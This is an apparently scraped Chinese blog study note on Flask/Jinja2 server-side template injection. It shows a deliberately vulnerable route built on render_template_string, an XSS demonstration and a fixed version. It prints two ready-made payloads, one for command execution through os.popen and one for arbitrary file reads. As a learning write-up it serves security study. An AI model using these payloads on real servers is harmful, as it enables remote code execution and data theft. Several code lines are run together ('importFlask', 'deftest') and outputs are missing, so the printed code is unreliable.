jinja2模板注入_[Flask(Jinja2)服务端模板注入漏洞(SSTI)]学习简记

0x00  关于Flask框架

https://www.cnblogs.com/hello-there/p/12776502.html

我的这篇文章中简单介绍了Flask框架的基本知识

0x01

参考:

https://www.freebuf.com/column/187845.html

0x02 漏洞相关

1)render_template()用来渲染模板文件,而render_template_string()用来渲染一个字符串.

index_page="

This is index page!

"

return render_template_string(index_page)

2)漏洞形成原因:不正确的使用flask中的render_template_string方法会引发SSTI。

a)下面来看一段存在漏洞的代码:

from flask importFlask,render_template_string,request

app= Flask(__name__)

@app.route('/test/')deftest():

code= request.args.get('id') //get方式获取id

html= '''

%s

'''%(code)returnrender_template_string(html)

app.run()

输入[?id=1],页面如下:

eb844c6e841511ad455e831278a8b6a3.png

输入[?id=],看看什么效果?

75738a14a2fe2daf9b6d7a98ffac427d.png

很明显,造成了xss漏洞.

b)将代码进行修改:

from flask importFlask,render_template_string,request

app= Flask(__name__)

@app.route('/test/')deftest():

code= request.args.get('id')

html= '''

{{code}}

'''

return render_template_string(html,code=code)

app.run()

再输入[?id=],查看页面,如下:

0c35c9709cbc8b19d19a7b90a65a1161.png

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

0x03 SSTI文件读取/命令执行

1)先贴两条pyhon2,python3通用的payload:

#命令执行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}#文件操作

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

其中第一条payload中的[id]可以替换成命令,如ls,cat等,第二条payload的[filename]也可替换成文件名称.

2)Go deeper

a)通过对python的对象继承一步步来实现文件读取和命令执行,思路大抵为:[寻找父类]->寻找子类->寻找关于命令执行或者文件操作的模块.

__class__返回类所属的对象__mro__输出当前对象所调用的全部类包括其父类__base__同__mro__,用来寻找基类__subclasses__输出该类下所有的子类(返回列表)__init__类的初始化方法__globals__ 对包含函数全局变量的字典的引用

获取字符串类的对象:

''.__class__

->

寻找父类:

''.__class__.__mro__(__base__)

->,,

寻找可用引用:

''.__class__.__base__.__subclasses__()->, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

由于本人目前技术有限,所以后面的过程就参考一位师傅的文章:

https://blog.csdn.net/qq_27446553/article/details/79379136?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3

文章里详细介绍了寻找payload的思路.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值